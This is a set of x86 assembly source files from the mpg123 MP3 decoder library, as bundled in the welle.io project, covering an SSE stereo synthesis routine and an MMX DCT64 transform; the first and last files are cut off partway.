movss %xmm2, 32*64(ts)
movss %xmm4, 32*8(ts)
shufps $0xb1, %xmm1, %xmm1
shufps $0xb1, %xmm3, %xmm3
movss %xmm1, 32*60(ts)
movss %xmm3, 32*4(ts)
movhlps %xmm1, %xmm2
movhlps %xmm3, %xmm4
movss %xmm2, 32*68(ts)
movss %xmm4, 32*12(ts)
pop %edi
pop %esi
pop %ebx
mov %ebp, %esp
pop %ebp
ret
NONEXEC_STACK
|
AlbrechtL/welle.io | 9,949 | src/libs/mpg123/synth_stereo_x86_64_accurate.S | /*
synth_stereo_x86_64_accurate: SSE optimized synth for x86-64 (stereo specific, MPEG-compliant 16bit output version)
copyright 1995-2009 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Taihei Monma
*/
#include "mangle.h"
#ifdef IS_MSABI
/* short *window; */
#define WINDOW %rsi
/* short *b0l; */
#define B0L %rdx
/* short *b0r; */
#define B0R %r8
/* short *samples; */
#define SAMPLES %r9
#else
/* real *window; */
#define WINDOW %rdi
/* real *b0l; */
#define B0L %rsi
/* real *b0r; */
#define B0R %rdx
/* real *samples; */
#define SAMPLES %r8
#endif
#define XMMREG_MAX (%r10) /* {32767.0, 32767.0, 32767.0, 32767.0} */
#define XMMREG_MIN (%r11) /* {-32768.0, -32768.0, -32768.0, -32768.0} */
#define TEMP_CLIP (%rsp)
/*
int synth_1to1_s_x86_64_accurate_asm(real *window, real *b0l, real *b0r, short *samples, int bo1);
return value: number of clipped samples
*/
#ifndef __APPLE__
.section .rodata
#else
.data
#endif
ALIGN32
ASM_NAME(maxmin_s16):
.long 1191181824
.long 1191181824
.long 1191181824
.long 1191181824
.long -956301312
.long -956301312
.long -956301312
.long -956301312
.text
ALIGN16
.globl ASM_NAME(synth_1to1_s_x86_64_accurate_asm)
ASM_NAME(synth_1to1_s_x86_64_accurate_asm):
#ifdef IS_MSABI /* should save xmm6-15 */
movl 40(%rsp), %eax /* 5th argument; placed after 32-byte shadow space */
pushq %rsi
subq $176, %rsp /* 10 xmm registers + temp */
movaps %xmm6, 16(%rsp)
movaps %xmm7, 32(%rsp)
movaps %xmm8, 48(%rsp)
movaps %xmm9, 64(%rsp)
movaps %xmm10, 80(%rsp)
movaps %xmm11, 96(%rsp)
movaps %xmm12, 112(%rsp)
movaps %xmm13, 128(%rsp)
movaps %xmm14, 144(%rsp)
movaps %xmm15, 160(%rsp)
#else
subq $24, %rsp /* stack alignment + temp */
#endif
leaq ASM_NAME(maxmin_s16)(%rip), %r10
leaq 16(%r10), %r11
xorps %xmm0, %xmm0
movaps %xmm0, TEMP_CLIP
#ifdef IS_MSABI
shlq $32, %rax
shrq $30, %rax
movq %rcx, %rbx
#else
movq %r8, %rax
shlq $32, %rax
shrq $30, %rax
movq %rcx, %r8
#endif
leaq 64(WINDOW), WINDOW
subq %rax, WINDOW
movl $4, %ecx
ALIGN16
1:
movups (WINDOW), %xmm8
movups 16(WINDOW), %xmm1
movups 32(WINDOW), %xmm2
movups 48(WINDOW), %xmm3
movups 128(WINDOW), %xmm9
movups 144(WINDOW), %xmm5
movups 160(WINDOW), %xmm6
movups 176(WINDOW), %xmm7
movaps %xmm8, %xmm0
movaps %xmm1, %xmm4
movaps %xmm2, %xmm10
movaps %xmm3, %xmm11
movaps %xmm9, %xmm12
movaps %xmm5, %xmm13
movaps %xmm6, %xmm14
movaps %xmm7, %xmm15
mulps (B0L), %xmm8
mulps 16(B0L), %xmm1
mulps 32(B0L), %xmm2
mulps 48(B0L), %xmm3
mulps 64(B0L), %xmm9
mulps 80(B0L), %xmm5
mulps 96(B0L), %xmm6
mulps 112(B0L), %xmm7
mulps (B0R), %xmm0
mulps 16(B0R), %xmm4
mulps 32(B0R), %xmm10
mulps 48(B0R), %xmm11
mulps 64(B0R), %xmm12
mulps 80(B0R), %xmm13
mulps 96(B0R), %xmm14
mulps 112(B0R), %xmm15
addps %xmm1, %xmm8
addps %xmm2, %xmm3
addps %xmm4, %xmm0
addps %xmm11, %xmm10
addps %xmm5, %xmm9
addps %xmm7, %xmm6
addps %xmm13, %xmm12
addps %xmm15, %xmm14
addps %xmm3, %xmm8
addps %xmm6, %xmm9
addps %xmm10, %xmm0
addps %xmm12, %xmm14
movaps %xmm0, %xmm12
movaps %xmm14, %xmm13
leaq 256(WINDOW), WINDOW
leaq 128(B0L), B0L
leaq 128(B0R), B0R
movups (WINDOW), %xmm10
movups 16(WINDOW), %xmm1
movups 32(WINDOW), %xmm2
movups 48(WINDOW), %xmm3
movups 128(WINDOW), %xmm11
movups 144(WINDOW), %xmm5
movups 160(WINDOW), %xmm6
movups 176(WINDOW), %xmm7
movaps %xmm10, %xmm0
movaps %xmm1, %xmm4
movaps %xmm2, %xmm14
movaps %xmm3, %xmm15
mulps (B0L), %xmm10
mulps 16(B0L), %xmm1
mulps 32(B0L), %xmm2
mulps 48(B0L), %xmm3
mulps (B0R), %xmm0
mulps 16(B0R), %xmm4
mulps 32(B0R), %xmm14
mulps 48(B0R), %xmm15
addps %xmm1, %xmm10
addps %xmm2, %xmm3
addps %xmm4, %xmm0
addps %xmm15, %xmm14
movaps %xmm11, %xmm1
movaps %xmm5, %xmm2
movaps %xmm6, %xmm4
movaps %xmm7, %xmm15
mulps 64(B0L), %xmm11
mulps 80(B0L), %xmm5
mulps 96(B0L), %xmm6
mulps 112(B0L), %xmm7
mulps 64(B0R), %xmm1
mulps 80(B0R), %xmm2
mulps 96(B0R), %xmm4
mulps 112(B0R), %xmm15
addps %xmm5, %xmm11
addps %xmm7, %xmm6
addps %xmm2, %xmm1
addps %xmm15, %xmm4
addps %xmm3, %xmm10
addps %xmm6, %xmm11
addps %xmm0, %xmm14
addps %xmm4, %xmm1
movaps %xmm1, %xmm15
leaq 256(WINDOW), WINDOW
leaq 128(B0L), B0L
leaq 128(B0R), B0R
movaps %xmm8, %xmm0
movaps %xmm10, %xmm1
movaps %xmm12, %xmm4
movaps %xmm14, %xmm5
unpcklps %xmm9, %xmm8
unpcklps %xmm11, %xmm10
unpckhps %xmm9, %xmm0
unpckhps %xmm11, %xmm1
unpcklps %xmm13, %xmm12
unpcklps %xmm15, %xmm14
unpckhps %xmm13, %xmm4
unpckhps %xmm15, %xmm5
movaps %xmm8, %xmm2
movaps %xmm0, %xmm3
movaps %xmm12, %xmm6
movaps %xmm4, %xmm7
movlhps %xmm10, %xmm8
movhlps %xmm2, %xmm10
movlhps %xmm1, %xmm0
movhlps %xmm3, %xmm1
movlhps %xmm14, %xmm12
movhlps %xmm6, %xmm14
movlhps %xmm5, %xmm4
movhlps %xmm7, %xmm5
subps %xmm10, %xmm8
subps %xmm1, %xmm0
subps %xmm14, %xmm12
subps %xmm5, %xmm4
addps %xmm8, %xmm0
addps %xmm12, %xmm4
movaps %xmm0, %xmm2
movaps %xmm0, %xmm3
movaps %xmm4, %xmm5
movaps %xmm4, %xmm6
cmpnleps XMMREG_MAX, %xmm2
cmpltps XMMREG_MIN, %xmm3
cmpnleps XMMREG_MAX, %xmm5
cmpltps XMMREG_MIN, %xmm6
cvtps2dq %xmm0, %xmm0
cvtps2dq %xmm4, %xmm4
movaps %xmm0, %xmm1
unpcklps %xmm4, %xmm0
unpckhps %xmm4, %xmm1
packssdw %xmm1, %xmm0
movups %xmm0, (SAMPLES)
packssdw %xmm5, %xmm2
packssdw %xmm6, %xmm3
psrlw $15, %xmm2
psrlw $15, %xmm3
paddw %xmm3, %xmm2
paddw TEMP_CLIP, %xmm2
movaps %xmm2, TEMP_CLIP
leaq 16(SAMPLES), SAMPLES
decl %ecx
jnz 1b
movl $4, %ecx
ALIGN16
1:
movups (WINDOW), %xmm8
movups 16(WINDOW), %xmm1
movups 32(WINDOW), %xmm2
movups 48(WINDOW), %xmm3
movups 128(WINDOW), %xmm9
movups 144(WINDOW), %xmm5
movups 160(WINDOW), %xmm6
movups 176(WINDOW), %xmm7
movaps %xmm8, %xmm0
movaps %xmm1, %xmm4
movaps %xmm2, %xmm10
movaps %xmm3, %xmm11
movaps %xmm9, %xmm12
movaps %xmm5, %xmm13
movaps %xmm6, %xmm14
movaps %xmm7, %xmm15
mulps (B0L), %xmm8
mulps 16(B0L), %xmm1
mulps 32(B0L), %xmm2
mulps 48(B0L), %xmm3
mulps -64(B0L), %xmm9
mulps -48(B0L), %xmm5
mulps -32(B0L), %xmm6
mulps -16(B0L), %xmm7
mulps (B0R), %xmm0
mulps 16(B0R), %xmm4
mulps 32(B0R), %xmm10
mulps 48(B0R), %xmm11
mulps -64(B0R), %xmm12
mulps -48(B0R), %xmm13
mulps -32(B0R), %xmm14
mulps -16(B0R), %xmm15
addps %xmm1, %xmm8
addps %xmm2, %xmm3
addps %xmm4, %xmm0
addps %xmm11, %xmm10
addps %xmm5, %xmm9
addps %xmm7, %xmm6
addps %xmm13, %xmm12
addps %xmm15, %xmm14
addps %xmm3, %xmm8
addps %xmm6, %xmm9
addps %xmm10, %xmm0
addps %xmm12, %xmm14
movaps %xmm0, %xmm12
movaps %xmm14, %xmm13
leaq 256(WINDOW), WINDOW
leaq -128(B0L), B0L
leaq -128(B0R), B0R
movups (WINDOW), %xmm10
movups 16(WINDOW), %xmm1
movups 32(WINDOW), %xmm2
movups 48(WINDOW), %xmm3
movups 128(WINDOW), %xmm11
movups 144(WINDOW), %xmm5
movups 160(WINDOW), %xmm6
movups 176(WINDOW), %xmm7
movaps %xmm10, %xmm0
movaps %xmm1, %xmm4
movaps %xmm2, %xmm14
movaps %xmm3, %xmm15
mulps (B0L), %xmm10
mulps 16(B0L), %xmm1
mulps 32(B0L), %xmm2
mulps 48(B0L), %xmm3
mulps (B0R), %xmm0
mulps 16(B0R), %xmm4
mulps 32(B0R), %xmm14
mulps 48(B0R), %xmm15
addps %xmm1, %xmm10
addps %xmm2, %xmm3
addps %xmm4, %xmm0
addps %xmm15, %xmm14
movaps %xmm11, %xmm1
movaps %xmm5, %xmm2
movaps %xmm6, %xmm4
movaps %xmm7, %xmm15
mulps -64(B0L), %xmm11
mulps -48(B0L), %xmm5
mulps -32(B0L), %xmm6
mulps -16(B0L), %xmm7
mulps -64(B0R), %xmm1
mulps -48(B0R), %xmm2
mulps -32(B0R), %xmm4
mulps -16(B0R), %xmm15
addps %xmm5, %xmm11
addps %xmm7, %xmm6
addps %xmm2, %xmm1
addps %xmm15, %xmm4
addps %xmm3, %xmm10
addps %xmm6, %xmm11
addps %xmm0, %xmm14
addps %xmm4, %xmm1
movaps %xmm1, %xmm15
leaq 256(WINDOW), WINDOW
leaq -128(B0L), B0L
leaq -128(B0R), B0R
movaps %xmm8, %xmm0
movaps %xmm10, %xmm1
movaps %xmm12, %xmm4
movaps %xmm14, %xmm5
unpcklps %xmm9, %xmm8
unpcklps %xmm11, %xmm10
unpckhps %xmm9, %xmm0
unpckhps %xmm11, %xmm1
unpcklps %xmm13, %xmm12
unpcklps %xmm15, %xmm14
unpckhps %xmm13, %xmm4
unpckhps %xmm15, %xmm5
movaps %xmm8, %xmm2
movaps %xmm0, %xmm3
movaps %xmm12, %xmm6
movaps %xmm4, %xmm7
movlhps %xmm10, %xmm8
movhlps %xmm2, %xmm10
movlhps %xmm1, %xmm0
movhlps %xmm3, %xmm1
movlhps %xmm14, %xmm12
movhlps %xmm6, %xmm14
movlhps %xmm5, %xmm4
movhlps %xmm7, %xmm5
addps %xmm10, %xmm8
addps %xmm1, %xmm0
addps %xmm14, %xmm12
addps %xmm5, %xmm4
addps %xmm8, %xmm0
addps %xmm12, %xmm4
movaps %xmm0, %xmm2
movaps %xmm0, %xmm3
movaps %xmm4, %xmm5
movaps %xmm4, %xmm6
cmpnleps XMMREG_MAX, %xmm2
cmpltps XMMREG_MIN, %xmm3
cmpnleps XMMREG_MAX, %xmm5
cmpltps XMMREG_MIN, %xmm6
cvtps2dq %xmm0, %xmm0
cvtps2dq %xmm4, %xmm4
movaps %xmm0, %xmm1
unpcklps %xmm4, %xmm0
unpckhps %xmm4, %xmm1
packssdw %xmm1, %xmm0
movups %xmm0, (SAMPLES)
packssdw %xmm5, %xmm2
packssdw %xmm6, %xmm3
psrlw $15, %xmm2
psrlw $15, %xmm3
paddw %xmm3, %xmm2
paddw TEMP_CLIP, %xmm2
movaps %xmm2, TEMP_CLIP
leaq 16(SAMPLES), SAMPLES
decl %ecx
jnz 1b
movaps TEMP_CLIP, %xmm4
movhlps %xmm4, %xmm0
paddw %xmm4, %xmm0
pshuflw $0x55, %xmm0, %xmm1
pshuflw $0xaa, %xmm0, %xmm2
pshuflw $0xff, %xmm0, %xmm3
paddw %xmm1, %xmm0
paddw %xmm2, %xmm0
paddw %xmm3, %xmm0
movd %xmm0, %eax
andl $0xffff, %eax
#ifdef IS_MSABI
movaps (%rsp), %xmm6
movaps 16(%rsp), %xmm7
movaps 32(%rsp), %xmm8
movaps 48(%rsp), %xmm9
movaps 64(%rsp), %xmm10
movaps 80(%rsp), %xmm11
movaps 96(%rsp), %xmm12
movaps 112(%rsp), %xmm13
movaps 128(%rsp), %xmm14
movaps 144(%rsp), %xmm15
addq $176, %rsp
popq %rsi
#else
addq $24, %rsp
#endif
ret
NONEXEC_STACK
|
AlbrechtL/welle.io | 13,966 | src/libs/mpg123/dct64_mmx.S | /*
dct64_mmx.s: MMX optimized DCT64
copyright ?-2006 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by the mysterious higway (apparently)
*/
#include "mangle.h"
.text
ALIGN32
.globl ASM_NAME(dct64_mmx)
ASM_NAME(dct64_mmx):
xorl %ecx,%ecx
.globl ASM_NAME(dct64_MMX)
ASM_NAME(dct64_MMX):
pushl %ebx
pushl %esi
pushl %edi
subl $256,%esp
GET_GOT
movl 280(%esp),%eax
flds (%eax)
leal 128(%esp),%edx
fadds 124(%eax)
movl 272(%esp),%esi
fstps (%edx)
movl 276(%esp),%edi
flds 4(%eax)
#if defined(PIC) && defined(__APPLE__)
movl GLOBAL_VAR_PTR(costab_mmxsse),%ebx
#else
leal GLOBAL_VAR(costab_mmxsse),%ebx
#endif
fadds 120(%eax)
orl %ecx,%ecx
fstps 4(%edx)
flds (%eax)
movl %esp,%ecx
fsubs 124(%eax)
fmuls (%ebx)
fstps 124(%edx)
flds 4(%eax)
fsubs 120(%eax)
fmuls 4(%ebx)
fstps 120(%edx)
flds 8(%eax)
fadds 116(%eax)
fstps 8(%edx)
flds 12(%eax)
fadds 112(%eax)
fstps 12(%edx)
flds 8(%eax)
fsubs 116(%eax)
fmuls 8(%ebx)
fstps 116(%edx)
flds 12(%eax)
fsubs 112(%eax)
fmuls 12(%ebx)
fstps 112(%edx)
flds 16(%eax)
fadds 108(%eax)
fstps 16(%edx)
flds 20(%eax)
fadds 104(%eax)
fstps 20(%edx)
flds 16(%eax)
fsubs 108(%eax)
fmuls 16(%ebx)
fstps 108(%edx)
flds 20(%eax)
fsubs 104(%eax)
fmuls 20(%ebx)
fstps 104(%edx)
flds 24(%eax)
fadds 100(%eax)
fstps 24(%edx)
flds 28(%eax)
fadds 96(%eax)
fstps 28(%edx)
flds 24(%eax)
fsubs 100(%eax)
fmuls 24(%ebx)
fstps 100(%edx)
flds 28(%eax)
fsubs 96(%eax)
fmuls 28(%ebx)
fstps 96(%edx)
flds 32(%eax)
fadds 92(%eax)
fstps 32(%edx)
flds 36(%eax)
fadds 88(%eax)
fstps 36(%edx)
flds 32(%eax)
fsubs 92(%eax)
fmuls 32(%ebx)
fstps 92(%edx)
flds 36(%eax)
fsubs 88(%eax)
fmuls 36(%ebx)
fstps 88(%edx)
flds 40(%eax)
fadds 84(%eax)
fstps 40(%edx)
flds 44(%eax)
fadds 80(%eax)
fstps 44(%edx)
flds 40(%eax)
fsubs 84(%eax)
fmuls 40(%ebx)
fstps 84(%edx)
flds 44(%eax)
fsubs 80(%eax)
fmuls 44(%ebx)
fstps 80(%edx)
flds 48(%eax)
fadds 76(%eax)
fstps 48(%edx)
flds 52(%eax)
fadds 72(%eax)
fstps 52(%edx)
flds 48(%eax)
fsubs 76(%eax)
fmuls 48(%ebx)
fstps 76(%edx)
flds 52(%eax)
fsubs 72(%eax)
fmuls 52(%ebx)
fstps 72(%edx)
flds 56(%eax)
fadds 68(%eax)
fstps 56(%edx)
flds 60(%eax)
fadds 64(%eax)
fstps 60(%edx)
flds 56(%eax)
fsubs 68(%eax)
fmuls 56(%ebx)
fstps 68(%edx)
flds 60(%eax)
fsubs 64(%eax)
fmuls 60(%ebx)
fstps 64(%edx)
flds (%edx)
fadds 60(%edx)
fstps (%ecx)
flds 4(%edx)
fadds 56(%edx)
fstps 4(%ecx)
flds (%edx)
fsubs 60(%edx)
fmuls 64(%ebx)
fstps 60(%ecx)
flds 4(%edx)
fsubs 56(%edx)
fmuls 68(%ebx)
fstps 56(%ecx)
flds 8(%edx)
fadds 52(%edx)
fstps 8(%ecx)
flds 12(%edx)
fadds 48(%edx)
fstps 12(%ecx)
flds 8(%edx)
fsubs 52(%edx)
fmuls 72(%ebx)
fstps 52(%ecx)
flds 12(%edx)
fsubs 48(%edx)
fmuls 76(%ebx)
fstps 48(%ecx)
flds 16(%edx)
fadds 44(%edx)
fstps 16(%ecx)
flds 20(%edx)
fadds 40(%edx)
fstps 20(%ecx)
flds 16(%edx)
fsubs 44(%edx)
fmuls 80(%ebx)
fstps 44(%ecx)
flds 20(%edx)
fsubs 40(%edx)
fmuls 84(%ebx)
fstps 40(%ecx)
flds 24(%edx)
fadds 36(%edx)
fstps 24(%ecx)
flds 28(%edx)
fadds 32(%edx)
fstps 28(%ecx)
flds 24(%edx)
fsubs 36(%edx)
fmuls 88(%ebx)
fstps 36(%ecx)
flds 28(%edx)
fsubs 32(%edx)
fmuls 92(%ebx)
fstps 32(%ecx)
flds 64(%edx)
fadds 124(%edx)
fstps 64(%ecx)
flds 68(%edx)
fadds 120(%edx)
fstps 68(%ecx)
flds 124(%edx)
fsubs 64(%edx)
fmuls 64(%ebx)
fstps 124(%ecx)
flds 120(%edx)
fsubs 68(%edx)
fmuls 68(%ebx)
fstps 120(%ecx)
flds 72(%edx)
fadds 116(%edx)
fstps 72(%ecx)
flds 76(%edx)
fadds 112(%edx)
fstps 76(%ecx)
flds 116(%edx)
fsubs 72(%edx)
fmuls 72(%ebx)
fstps 116(%ecx)
flds 112(%edx)
fsubs 76(%edx)
fmuls 76(%ebx)
fstps 112(%ecx)
flds 80(%edx)
fadds 108(%edx)
fstps 80(%ecx)
flds 84(%edx)
fadds 104(%edx)
fstps 84(%ecx)
flds 108(%edx)
fsubs 80(%edx)
fmuls 80(%ebx)
fstps 108(%ecx)
flds 104(%edx)
fsubs 84(%edx)
fmuls 84(%ebx)
fstps 104(%ecx)
flds 88(%edx)
fadds 100(%edx)
fstps 88(%ecx)
flds 92(%edx)
fadds 96(%edx)
fstps 92(%ecx)
flds 100(%edx)
fsubs 88(%edx)
fmuls 88(%ebx)
fstps 100(%ecx)
flds 96(%edx)
fsubs 92(%edx)
fmuls 92(%ebx)
fstps 96(%ecx)
flds (%ecx)
fadds 28(%ecx)
fstps (%edx)
flds (%ecx)
fsubs 28(%ecx)
fmuls 96(%ebx)
fstps 28(%edx)
flds 4(%ecx)
fadds 24(%ecx)
fstps 4(%edx)
flds 4(%ecx)
fsubs 24(%ecx)
fmuls 100(%ebx)
fstps 24(%edx)
flds 8(%ecx)
fadds 20(%ecx)
fstps 8(%edx)
flds 8(%ecx)
fsubs 20(%ecx)
fmuls 104(%ebx)
fstps 20(%edx)
flds 12(%ecx)
fadds 16(%ecx)
fstps 12(%edx)
flds 12(%ecx)
fsubs 16(%ecx)
fmuls 108(%ebx)
fstps 16(%edx)
flds 32(%ecx)
fadds 60(%ecx)
fstps 32(%edx)
flds 60(%ecx)
fsubs 32(%ecx)
fmuls 96(%ebx)
fstps 60(%edx)
flds 36(%ecx)
fadds 56(%ecx)
fstps 36(%edx)
flds 56(%ecx)
fsubs 36(%ecx)
fmuls 100(%ebx)
fstps 56(%edx)
flds 40(%ecx)
fadds 52(%ecx)
fstps 40(%edx)
flds 52(%ecx)
fsubs 40(%ecx)
fmuls 104(%ebx)
fstps 52(%edx)
flds 44(%ecx)
fadds 48(%ecx)
fstps 44(%edx)
flds 48(%ecx)
fsubs 44(%ecx)
fmuls 108(%ebx)
fstps 48(%edx)
flds 64(%ecx)
fadds 92(%ecx)
fstps 64(%edx)
flds 64(%ecx)
fsubs 92(%ecx)
fmuls 96(%ebx)
fstps 92(%edx)
flds 68(%ecx)
fadds 88(%ecx)
fstps 68(%edx)
flds 68(%ecx)
fsubs 88(%ecx)
fmuls 100(%ebx)
fstps 88(%edx)
flds 72(%ecx)
fadds 84(%ecx)
fstps 72(%edx)
flds 72(%ecx)
fsubs 84(%ecx)
fmuls 104(%ebx)
fstps 84(%edx)
flds 76(%ecx)
fadds 80(%ecx)
fstps 76(%edx)
flds 76(%ecx)
fsubs 80(%ecx)
fmuls 108(%ebx)
fstps 80(%edx)
flds 96(%ecx)
fadds 124(%ecx)
fstps 96(%edx)
flds 124(%ecx)
fsubs 96(%ecx)
fmuls 96(%ebx)
fstps 124(%edx)
flds 100(%ecx)
fadds 120(%ecx)
fstps 100(%edx)
flds 120(%ecx)
fsubs 100(%ecx)
fmuls 100(%ebx)
fstps 120(%edx)
flds 104(%ecx)
fadds 116(%ecx)
fstps 104(%edx)
flds 116(%ecx)
fsubs 104(%ecx)
fmuls 104(%ebx)
fstps 116(%edx)
flds 108(%ecx)
fadds 112(%ecx)
fstps 108(%edx)
flds 112(%ecx)
fsubs 108(%ecx)
fmuls 108(%ebx)
fstps 112(%edx)
flds (%edx)
fadds 12(%edx)
fstps (%ecx)
flds (%edx)
fsubs 12(%edx)
fmuls 112(%ebx)
fstps 12(%ecx)
flds 4(%edx)
fadds 8(%edx)
fstps 4(%ecx)
flds 4(%edx)
fsubs 8(%edx)
fmuls 116(%ebx)
fstps 8(%ecx)
flds 16(%edx)
fadds 28(%edx)
fstps 16(%ecx)
flds 28(%edx)
fsubs 16(%edx)
fmuls 112(%ebx)
fstps 28(%ecx)
flds 20(%edx)
fadds 24(%edx)
fstps 20(%ecx)
flds 24(%edx)
fsubs 20(%edx)
fmuls 116(%ebx)
fstps 24(%ecx)
flds 32(%edx)
fadds 44(%edx)
fstps 32(%ecx)
flds 32(%edx)
fsubs 44(%edx)
fmuls 112(%ebx)
fstps 44(%ecx)
flds 36(%edx)
fadds 40(%edx)
fstps 36(%ecx)
flds 36(%edx)
fsubs 40(%edx)
fmuls 116(%ebx)
fstps 40(%ecx)
flds 48(%edx)
fadds 60(%edx)
fstps 48(%ecx)
flds 60(%edx)
fsubs 48(%edx)
fmuls 112(%ebx)
fstps 60(%ecx)
flds 52(%edx)
fadds 56(%edx)
fstps 52(%ecx)
flds 56(%edx)
fsubs 52(%edx)
fmuls 116(%ebx)
fstps 56(%ecx)
flds 64(%edx)
fadds 76(%edx)
fstps 64(%ecx)
flds 64(%edx)
fsubs 76(%edx)
fmuls 112(%ebx)
fstps 76(%ecx)
flds 68(%edx)
fadds 72(%edx)
fstps 68(%ecx)
flds 68(%edx)
fsubs 72(%edx)
fmuls 116(%ebx)
fstps 72(%ecx)
flds 80(%edx)
fadds 92(%edx)
fstps 80(%ecx)
flds 92(%edx)
fsubs 80(%edx)
fmuls 112(%ebx)
fstps 92(%ecx)
flds 84(%edx)
fadds 88(%edx)
fstps 84(%ecx)
flds 88(%edx)
fsubs 84(%edx)
fmuls 116(%ebx)
fstps 88(%ecx)
flds 96(%edx)
fadds 108(%edx)
fstps 96(%ecx)
flds 96(%edx)
fsubs 108(%edx)
fmuls 112(%ebx)
fstps 108(%ecx)
flds 100(%edx)
fadds 104(%edx)
fstps 100(%ecx)
flds 100(%edx)
fsubs 104(%edx)
fmuls 116(%ebx)
fstps 104(%ecx)
flds 112(%edx)
fadds 124(%edx)
fstps 112(%ecx)
flds 124(%edx)
fsubs 112(%edx)
fmuls 112(%ebx)
fstps 124(%ecx)
flds 116(%edx)
fadds 120(%edx)
fstps 116(%ecx)
flds 120(%edx)
fsubs 116(%edx)
fmuls 116(%ebx)
fstps 120(%ecx)
flds 32(%ecx)
fadds 36(%ecx)
fstps 32(%edx)
flds 32(%ecx)
fsubs 36(%ecx)
fmuls 120(%ebx)
fstps 36(%edx)
flds 44(%ecx)
fsubs 40(%ecx)
fmuls 120(%ebx)
fsts 44(%edx)
fadds 40(%ecx)
fadds 44(%ecx)
fstps 40(%edx)
flds 48(%ecx)
fsubs 52(%ecx)
fmuls 120(%ebx)
flds 60(%ecx)
fsubs 56(%ecx)
fmuls 120(%ebx)
fld %st(0)
fadds 56(%ecx)
fadds 60(%ecx)
fld %st(0)
fadds 48(%ecx)
fadds 52(%ecx)
fstps 48(%edx)
fadd %st(2)
fstps 56(%edx)
fsts 60(%edx)
faddp %st(1)
fstps 52(%edx)
flds 64(%ecx)
fadds 68(%ecx)
fstps 64(%edx)
flds 64(%ecx)
fsubs 68(%ecx)
fmuls 120(%ebx)
fstps 68(%edx)
flds 76(%ecx)
fsubs 72(%ecx)
fmuls 120(%ebx)
fsts 76(%edx)
fadds 72(%ecx)
fadds 76(%ecx)
fstps 72(%edx)
flds 92(%ecx)
fsubs 88(%ecx)
fmuls 120(%ebx)
fsts 92(%edx)
fadds 92(%ecx)
fadds 88(%ecx)
fld %st(0)
fadds 80(%ecx)
fadds 84(%ecx)
fstps 80(%edx)
flds 80(%ecx)
fsubs 84(%ecx)
fmuls 120(%ebx)
fadd %st(0), %st(1)
fadds 92(%edx)
fstps 84(%edx)
fstps 88(%edx)
flds 96(%ecx)
fadds 100(%ecx)
fstps 96(%edx)
flds 96(%ecx)
fsubs 100(%ecx)
fmuls 120(%ebx)
fstps 100(%edx)
flds 108(%ecx)
fsubs 104(%ecx)
fmuls 120(%ebx)
fsts 108(%edx)
fadds 104(%ecx)
fadds 108(%ecx)
fstps 104(%edx)
flds 124(%ecx)
fsubs 120(%ecx)
fmuls 120(%ebx)
fsts 124(%edx)
fadds 120(%ecx)
fadds 124(%ecx)
fld %st(0)
fadds 112(%ecx)
fadds 116(%ecx)
fstps 112(%edx)
flds 112(%ecx)
fsubs 116(%ecx)
fmuls 120(%ebx)
fadd %st(0),%st(1)
fadds 124(%edx)
fstps 116(%edx)
fstps 120(%edx)
jnz .L01
flds (%ecx)
fadds 4(%ecx)
fstps 1024(%esi)
flds (%ecx)
fsubs 4(%ecx)
fmuls 120(%ebx)
fsts (%esi)
fstps (%edi)
flds 12(%ecx)
fsubs 8(%ecx)
fmuls 120(%ebx)
fsts 512(%edi)
fadds 12(%ecx)
fadds 8(%ecx)
fstps 512(%esi)
flds 16(%ecx)
fsubs 20(%ecx)
fmuls 120(%ebx)
flds 28(%ecx)
fsubs 24(%ecx)
fmuls 120(%ebx)
fsts 768(%edi)
fld %st(0)
fadds 24(%ecx)
fadds 28(%ecx)
fld %st(0)
fadds 16(%ecx)
fadds 20(%ecx)
fstps 768(%esi)
fadd %st(2)
fstps 256(%esi)
faddp %st(1)
fstps 256(%edi)
flds 32(%edx)
fadds 48(%edx)
fstps 896(%esi)
flds 48(%edx)
fadds 40(%edx)
fstps 640(%esi)
flds 40(%edx)
fadds 56(%edx)
fstps 384(%esi)
flds 56(%edx)
fadds 36(%edx)
fstps 128(%esi)
flds 36(%edx)
fadds 52(%edx)
fstps 128(%edi)
flds 52(%edx)
fadds 44(%edx)
fstps 384(%edi)
flds 60(%edx)
fsts 896(%edi)
fadds 44(%edx)
fstps 640(%edi)
flds 96(%edx)
fadds 112(%edx)
fld %st(0)
fadds 64(%edx)
fstps 960(%esi)
fadds 80(%edx)
fstps 832(%esi)
flds 112(%edx)
fadds 104(%edx)
fld %st(0)
fadds 80(%edx)
fstps 704(%esi)
fadds 72(%edx)
fstps 576(%esi)
flds 104(%edx)
fadds 120(%edx)
fld %st(0)
fadds 72(%edx)
fstps 448(%esi)
fadds 88(%edx)
fstps 320(%esi)
flds 120(%edx)
fadds 100(%edx)
fld %st(0)
fadds 88(%edx)
fstps 192(%esi)
fadds 68(%edx)
fstps 64(%esi)
flds 100(%edx)
fadds 116(%edx)
fld %st(0)
fadds 68(%edx)
fstps 64(%edi)
fadds 84(%edx)
fstps 192(%edi)
flds 116(%edx)
fadds 108(%edx)
fld %st(0)
fadds 84(%edx)
fstps 320(%edi)
fadds 76(%edx)
fstps 448(%edi)
flds 108(%edx)
fadds 124(%edx)
fld %st(0)
fadds 76(%edx)
fstps 576(%edi)
fadds 92(%edx)
fstps 704(%edi)
flds 124(%edx)
fsts 960(%edi)
fadds 92(%edx)
fstps 832(%edi)
addl $256,%esp
popl %edi
popl %esi
popl %ebx
ret
.L01:
flds (%ecx)
fadds 4(%ecx)
fistps 512(%esi)
flds (%ecx)
fsubs 4(%ecx)
fmuls 120(%ebx)
fistps (%esi)
flds 12(%ecx)
fsubs 8(%ecx)
fmuls 120(%ebx)
fists 256(%edi)
fadds 12(%ecx)
fadds 8(%ecx)
fistps 256(%esi)
flds 16(%ecx)
fsubs 20(%ecx)
fmuls 120(%ebx)
flds 28(%ecx)
fsubs 24(%ecx)
fmuls 120(%ebx)
fists 384(%edi)
fld %st(0)
fadds 24(%ecx)
fadds 28(%ecx)
fld %st(0)
fadds 16(%ecx)
fadds 20(%ecx)
fistps 384(%esi)
fadd %st(2)
fistps 128(%esi)
faddp %st(1)
fistps 128(%edi)
flds 32(%edx)
fadds 48(%edx)
fistps 448(%esi)
flds 48(%edx)
fadds 40(%edx)
fistps 320(%esi)
flds 40(%edx)
fadds 56(%edx)
fistps 192(%esi)
flds 56(%edx)
fadds 36(%edx)
fistps 64(%esi)
flds 36(%edx)
fadds 52(%edx)
fistps 64(%edi)
